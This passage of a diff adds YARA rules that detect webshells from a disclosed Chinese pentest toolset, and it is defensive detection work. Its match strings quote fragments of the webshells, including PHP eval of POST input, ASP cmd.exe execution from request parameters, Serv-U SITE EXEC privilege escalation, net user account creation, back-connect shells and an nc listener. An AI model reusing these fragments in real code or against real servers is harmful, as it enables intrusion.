+		filesize < 39KB and all of them
+}
+
+rule CN_Honker_Webshell_phpwebbackup {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file phpwebbackup.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c788cb280b7ad0429313837082fe84e9a49efab6"
+	strings:
+		$s0 = "<?php // Code By isosky www.nbst.org" fullword ascii
+		$s2 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x3f3c and filesize < 67KB and all of them
+}
+
+rule CN_Honker_Webshell_dz_phpcms_phpbb {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file dz_phpcms_phpbb.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "33f23c41df452f8ca2768545ac6e740f30c44d1f"
+	strings:
+		$s1 = "if($pwd == md5(md5($password).$salt))" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "function test_1($password)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = ":\".$pwd.\"\\n---------------------------------\\n\";exit;" fullword ascii
+		$s4 = ":user=\".$user.\"\\n\";echo \"pwd=\".$pwd.\"\\n\";echo \"salt=\".$salt.\"\\n\";" fullword ascii
+	condition:
+		filesize < 22KB and all of them
+}
+
+rule CN_Honker_Webshell_picloaked_1 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file 1.gif"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3eab1798cbc9ab3b2c67d3da7b418d07e775db70"
+	strings:
+		$s0 = "<?php eval($_POST[" ascii /* PEStudio Blacklist: strings */
+		$s1 = ";<%execute(request(" ascii /* PEStudio Blacklist: strings */
+		$s3 = "GIF89a" fullword ascii /* Goodware String - occured 318 times */
+	condition:
+		filesize < 6KB and 2 of them
+}
+
+rule CN_Honker_Webshell_assembly {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file assembly.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2bcb4d22758b20df6b9135d3fb3c8f35a9d9028e"
+	strings:
+		$s0 = "response.write oScriptlhn.exec(\"cmd.exe /c\" & request(\"c\")).stdout.readall" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php8 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php8.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b7b49f1d6645865691eccd025e140c521ff01cce"
+	strings:
+		$s0 = "<a href=\"http://hi.baidu.com/ca3tie1/home\" target=\"_blank\">Ca3tie1's Blog</a" ascii /* PEStudio Blacklist: strings */
+		$s1 = "function startfile($path = 'dodo.zip')" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<form name=\"myform\" method=\"post\" action=\"\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "$_REQUEST[zipname] = \"dodozip.zip\"; " fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 25KB and 2 of them
+}
+
+rule CN_Honker_Webshell_Tuoku_script_xx {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file xx.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2f39f1d9846ae72fc673f9166536dc21d8f396aa"
+	strings:
+		$s0 = "$mysql.=\"insert into `$table`($keys) values($vals);\\r\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$mysql_link=@mysql_connect($mysql_servername , $mysql_username , $mysql_password" ascii /* PEStudio Blacklist: strings */
+		$s16 = "mysql_query(\"SET NAMES gbk\");" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 2KB and all of them
+}
+
+rule CN_Honker_Webshell_JSPMSSQL {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file JSPMSSQL.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c6b4faecd743d151fe0a4634e37c9a5f6533655f"
+	strings:
+		$s1 = "<form action=\"?action=operator&cmd=execute\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "String sql = request.getParameter(\"sqlcmd\");" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 35KB and all of them
+}
+
+rule CN_Honker_Webshell_Injection_Transit_jmPost {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jmPost.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f80ec26bbdc803786925e8e0450ad7146b2478ff"
+	strings:
+		$s1 = "response.write  PostData(JMUrl,JmStr,JmCok,JmRef)" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "JmdcwName=request(\"jmdcw\")" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 9KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_web_asp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file web.asp.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "aebf6530e89af2ad332062c6aae4a8ca91517c76"
+	strings:
+		$s0 = "<FORM method=post target=_blank>ShellUrl: <INPUT " fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "\" >[Copy code]</a> 4ngr7&nbsp; &nbsp;</td>" fullword ascii
+	condition:
+		filesize < 13KB and all of them
+}
+
+rule CN_Honker_Webshell_wshell_asp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file wshell-asp.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4a0afdf5a45a759c14e99eb5315964368ca53e9c"
+	strings:
+		$s1 = "file1.Write(\"<%response.clear:execute request(\\\"root\\\"):response.End%>\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "hello word !  " fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "root.asp " fullword ascii
+	condition:
+		filesize < 5KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp404 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp404.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "bed51971288aeabba6dabbfb80d2843ec0c4ebf6"
+	strings:
+		$s0 = "temp1 = Len(folderspec) - Len(server.MapPath(\"./\")) -1" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "<form name=\"form1\" method=\"post\" action=\"<%= url%>?action=chklogin\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<td>&nbsp;<a href=\"<%=tempurl+f1.name%>\" target=\"_blank\"><%=f1.name%></a></t" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 113KB and all of them
+}
+
+rule CN_Honker_Webshell_Serv_U_asp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file Serv-U asp.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cee91cd462a459d31a95ac08fe80c70d2f9c1611"
+	strings:
+		$s1 = "newuser = \"-SETUSERSETUP\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \"-PortNo=\" &" ascii /* PEStudio Blacklist: strings */
+		$s2 = "<td><input name=\"c\" type=\"text\" id=\"c\" value=\"cmd /c net user goldsun lov" ascii /* PEStudio Blacklist: strings */
+		$s3 = "deldomain = \"-DELETEDOMAIN\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \" PortNo=\"" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_Webshell_cfm_list {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file list.cfm"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "85d445b13d2aef1df3b264c9b66d73f0ff345cec"
+	strings:
+		$s1 = "<TD><a href=\"javascript:ShowFile('#mydirectory.name#')\">#mydirectory.name#</a>" ascii /* PEStudio Blacklist: strings */
+		$s2 = "<TD>#mydirectory.size#</TD>" fullword ascii
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php2.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "bf12e1d741075cd1bd324a143ec26c732a241dea"
+	strings:
+		$s1 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii /* PEStudio Blacklist: strings */
+		$s2 = "<?php // Black" fullword ascii
+	condition:
+		filesize < 12KB and all of them
+}
+
+rule CN_Honker_Webshell_Tuoku_script_oracle {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file oracle.jsp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fc7043aaac0ee2d860d11f18ddfffbede9d07957"
+	strings:
+		$s1 = "String url=\"jdbc:oracle:thin:@localhost:1521:orcl\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "String user=\"oracle_admin\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "String sql=\"SELECT 1,2,3,4,5,6,7,8,9,10 from user_info\";" fullword ascii
+	condition:
+		filesize < 7KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_aspx4 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file aspx4.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "200a8f15ffb6e3af31d28c55588003b5025497eb"
+	strings:
+		$s4 = "File.Delete(cdir.FullName + \"\\\\test\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "start<asp:TextBox ID=\"Fport_TextBox\" runat=\"server\" Text=\"c:\\\" Width=\"60" ascii /* PEStudio Blacklist: strings */
+		$s6 = "<div>Code By <a href =\"http://www.hkmjj.com\">Www.hkmjj.Com</a></div>" fullword ascii
+	condition:
+		filesize < 11KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_aspx {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file aspx.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "8378619b2a7d446477946eabaa1e6744dec651c1"
+	strings:
+		$s0 = "string iVDT=\"-SETUSERSETUP\\r\\n-IP=0.0.0.0\\r\\n-PortNo=52521\\r\\n-User=bin" ascii /* PEStudio Blacklist: strings */
+		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii /* PEStudio Blacklist: strings */
+		$s2 = "td.Text=\"<a href=\\\"javascript:Bin_PostBack('urJG','\"+dt.Rows[j][\"ProcessID" ascii /* PEStudio Blacklist: strings */
+		$s3 = "vyX.Text+=\"<a href=\\\"javascript:Bin_PostBack('Bin_Regread','\"+MVVJ(rootkey)+" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 353KB and 2 of them
+}
+
+rule CN_Honker_Webshell_su7_x_9_x {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file su7.x-9.x.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "808396b51023cc8356f8049cfe279b349ca08f1a"
+	strings:
+		$s0 = "returns=httpopen(\"LoginID=\"&user&\"&FullName=&Password=\"&pass&\"&ComboPasswor" ascii /* PEStudio Blacklist: strings */
+		$s1 = "returns=httpopen(\"\",\"POST\",\"http://127.0.0.1:\"&port&\"/Admin/XML/User.xml?" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 59KB and all of them
+}
+
+rule CN_Honker_Webshell_cfmShell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file cfmShell.cfm"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "740796909b5d011128b6c54954788d14faea9117"
+	strings:
+		$s0 = "<cfexecute name=\"C:\\Winnt\\System32\\cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "<cfif FileExists(\"#GetTempDirectory()#foobar.txt\") is \"Yes\">" fullword ascii
+	condition:
+		filesize < 4KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp4 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp4.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4005b83ced1c032dc657283341617c410bc007b8"
+	strings:
+		$s2 = "if ShellPath=\"\" Then ShellPath = \"cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "Response.Cookies(Cookie_Login) = sPwd" fullword ascii /* PEStudio Blacklist: strings */
+		$s8 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 150KB and all of them
+}
+
+rule CN_Honker_Webshell_Serv_U_2_admin_by_lake2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file Serv-U 2 admin by lake2.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cb8039f213e611ab2687edd23e63956c55f30578"
+	strings:
+		$s1 = "xPost3.Open \"POST\", \"http://127.0.0.1:\"& port &\"/lake2\", True" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "response.write \"FTP user lake  pass admin123 :)<br><BR>\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s8 = "<p>Serv-U Local Get SYSTEM Shell with ASP" fullword ascii /* PEStudio Blacklist: strings */
+		$s9 = "\"-HomeDir=c:\\\\\" & vbcrlf & \"-LoginMesFile=\" & vbcrlf & \"-Disable=0\" & vb" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 17KB and 2 of them
+}
+
+rule CN_Honker_Webshell_PHP_php3 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php3.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e2924cb0537f4cdfd6f1bd44caaaf68a73419b9d"
+	strings:
+		$s1 = "} elseif(@is_resource($f = @popen($cfe,\"r\"))) {" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "cf('/tmp/.bc',$back_connect);" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 8KB and all of them
+}
+
+rule CN_Honker_Webshell_Serv_U_by_Goldsun {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file Serv-U_by_Goldsun.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d4d7a632af65a961a1dbd0cff80d5a5c2b397e8c"
+	strings:
+		$s1 = "b.open \"GET\", \"http://127.0.0.1:\" & ftpport & \"/goldsun/upadmin/s2\", True," ascii /* PEStudio Blacklist: strings */
+		$s2 = "newuser = \"-SETUSERSETUP\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \"-PortNo=\" &" ascii /* PEStudio Blacklist: strings */
+		$s3 = "127.0.0.1:<%=port%>," fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "GName=\"http://\" & request.servervariables(\"server_name\")&\":\"&request.serve" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_Webshell_PHP_php10 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php10.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3698c566a0ae07234c8957112cdb34b79362b494"
+	strings:
+		$s1 = "dumpTable($N,$M,$Hc=false){if($_POST[\"format\"]!=\"sql\"){echo\"\\xef\\xbb\\xbf" ascii /* PEStudio Blacklist: strings */
+		$s2 = "';if(DB==\"\"||!$od){echo\"<a href='\".h(ME).\"sql='\".bold(isset($_GET[\"sql\"]" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 600KB and all of them
+}
+rule CN_Honker_Webshell_Serv_U_servu {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file servu.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7de701b86820096e486e64ca34f1fa9f2fbba641"
+	strings:
+		$s0 = "fputs ($conn_id, \"SITE EXEC \".$dir.\"cmd.exe /c \".$cmd.\"\\r\\n\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "function ftpcmd($ftpport,$user,$password,$dir,$cmd){" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 41KB and all of them
+}
+
+rule CN_Honker_Webshell_portRecall_jsp2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jsp2.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "412ed15eb0d24298ba41731502018800ffc24bfc"
+	strings:
+		$s0 = "final String remoteIP =request.getParameter(\"remoteIP\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "final String localIP = request.getParameter(\"localIP\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s20 = "final String localPort = \"3390\";//request.getParameter(\"localPort\");" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 23KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_aspx2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file aspx2.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "95db7a60f4a9245ffd04c4d9724c2745da55e9fd"
+	strings:
+		$s0 = "if (password.Equals(this.txtPass.Text))" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "<head runat=\"server\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = ":<asp:TextBox runat=\"server\" ID=\"txtPass\" Width=\"400px\"></asp:TextBox>" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "this.lblthispath.Text = Server.MapPath(Request.ServerVariables[\"PATH_INFO\"]);" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x253c and filesize < 9KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_hy2006a {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file hy2006a.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "20da92b2075e6d96636f883dcdd3db4a38c01090"
+	strings:
+		$s15 = "Const myCmdDotExeFile = \"command.com\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s16 = "If LCase(appName) = \"cmd.exe\" And appArgs <> \"\" Then" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 406KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php1 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php1.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c2f4b150f53c78777928921b3a985ec678bfae32"
+	strings:
+		$s7 = "$sendbuf = \"site exec \".$_POST[\"SUCommand\"].\"\\r\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s8 = "elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_c" ascii /* PEStudio Blacklist: strings */
+		$s18 = "echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 621KB and all of them
+}
+
+rule CN_Honker_Webshell_jspshell2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jspshell2.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cc7bc1460416663012fc93d52e2078c0a277ff79"
+	strings:
+		$s10 = "if (cmd == null) cmd = \"cmd.exe /c set\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s11 = "if (program == null) program = \"cmd.exe /c net start > \"+SHELL_DIR+\"/Log.txt" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 424KB and all of them
+}
+
+rule CN_Honker_Webshell_Tuoku_script_mysql {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file mysql.aspx"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "8e242c40aabba48687cfb135b51848af4f2d389d"
+	strings:
+		$s1 = "txtpassword.Attributes.Add(\"onkeydown\", \"SubmitKeyClick('btnLogin');\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "connString = string.Format(\"Host = {0}; UserName = {1}; Password = {2}; Databas" ascii /* PEStudio Blacklist: strings */condition:
+		filesize < 202KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php9 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php9.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cd3962b1dba9f1b389212e38857568b69ca76725"
+	strings:
+		$s1 = "Str[17] = \"select shell('c:\\windows\\system32\\cmd.exe /c net user b4che10r ab" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1087KB and all of them
+}
+
+rule CN_Honker_Webshell_portRecall_jsp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jsp.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "65e8e4d13ad257c820cad12eef853c6d0134fce8"
+	strings:
+		$s0 = "lcx.jsp?localIP=202.91.246.59&localPort=88&remoteIP=218.232.111.187&remotePort=2" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_aspx3 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file aspx3.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "dd61481771f67d9593214e605e63b62d5400c72f"
+	strings:
+		$s0 = "Process p1 = Process.Start(\"\\\"\" + txtRarPath.Value + \"\\\"\", \" a -y -k -m" ascii /* PEStudio Blacklist: strings */
+		$s12 = "if (_Debug) System.Console.WriteLine(\"\\ninserting filename into CDS:" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 100KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_shell_shell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file shell.aspx"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1816006827d16ed73cefdd2f11bd4c47c8af43e4"
+	strings:
+		$s0 = "<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cook" ascii /* PEStudio Blacklist: strings */
+		$s1 = "<%@ Page Language=\"C#\" ValidateRequest=\"false\" %>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell__php1_php7_php9 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - from files php1.txt, php7.txt, php9.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "c2f4b150f53c78777928921b3a985ec678bfae32"
+		hash1 = "05a3f93dbb6c3705fd5151b6ffb64b53bc555575"
+		hash2 = "cd3962b1dba9f1b389212e38857568b69ca76725"
+	strings:
+		$s1 = "<a href=\"?s=h&o=wscript\">[WScript.shell]</a> " fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "document.getElementById('cmd').value = Str[i];" fullword ascii
+		$s3 = "Str[7] = \"copy c:\\\\\\\\1.php d:\\\\\\\\2.php\";" fullword ascii
+	condition:
+		filesize < 300KB and all of them
+}
+
+rule CN_Honker_Webshell__Serv_U_by_Goldsun_asp3_Serv_U_asp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - from files Serv-U_by_Goldsun.asp, asp3.txt, Serv-U asp.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "d4d7a632af65a961a1dbd0cff80d5a5c2b397e8c"
+		hash1 = "87c5a76989bf08da5562e0b75c196dcb3087a27b"
+		hash2 = "cee91cd462a459d31a95ac08fe80c70d2f9c1611"
+	strings:
+		$s1 = "c.send loginuser & loginpass & mt & deldomain & quit" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "loginpass = \"Pass \" & pass & vbCrLf" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "b.send \"User go\" & vbCrLf & \"pass od\" & vbCrLf & \"site exec \" & cmd & vbCr" ascii
+	condition:
+		filesize < 444KB and all of them
+}
+
+rule CN_Honker_Webshell__asp4_asp4_MSSQL__MSSQL_ {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - from files asp4.txt, asp4.txt, MSSQL_.asp, MSSQL_.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "4005b83ced1c032dc657283341617c410bc007b8"
+		hash1 = "4005b83ced1c032dc657283341617c410bc007b8"
+		hash2 = "7097c21f92306983add3b5b29a517204cd6cd819"
+		hash3 = "7097c21f92306983add3b5b29a517204cd6cd819"
+	strings:
+		$s0 = "\"<form name=\"\"searchfileform\"\" action=\"\"?action=searchfile\"\" method=\"" ascii /* PEStudio Blacklist: strings */
+		$s1 = "\"<TD ALIGN=\"\"Left\"\" colspan=\"\"5\"\">[\"& DbName & \"]" fullword ascii
+		$s2 = "Set Conn = Nothing " fullword ascii
+	condition:
+		filesize < 341KB and all of them
+}
+
+rule CN_Honker_Webshell__Injection_jmCook_jmPost_ManualInjection {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - from files Injection.exe, jmCook.asp, jmPost.asp, ManualInjection.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "3484ed16e6f9e0d603cbc5cb44e46b8b7e775d35"
+		hash1 = "5e1851c77ce922e682333a3cb83b8506e1d7395d"
+		hash2 = "f80ec26bbdc803786925e8e0450ad7146b2478ff"
+		hash3 = "e83d427f44783088a84e9c231c6816c214434526"
+	strings:
+		$s1 = "response.write  PostData(JMUrl,JmStr,JmCok,JmRef)" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "strReturn=Replace(strReturn,chr(43),\"%2B\")  'JMDCW" fullword ascii
+	condition:
+		filesize < 7342KB and all of them
+}
+
+rule CN_Honker_Webshell_cmfshell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file cmfshell.cmf"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b9b2107c946431e4ad1a8f5e53ac05e132935c0e"
+	strings:
+		$s1 = "<cfexecute name=\"C:\\Winnt\\System32\\cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<form action=\"<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>\" method=\"post\">" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 4KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php4 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php4.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "179975f632baff6ee4d674fe3fabc324724fee9e"
+	strings:
+		$s0 = "nc -l -vv -p port(" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x4850 and filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell_Linux_2_6_Exploit {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file 2.6.9"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ec22fac0510d0dc2c29d56c55ff7135239b0aeee"
+	strings:
+		$s0 = "[+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable?" fullword ascii
+	condition:
+		filesize < 56KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp2 {
+	meta:
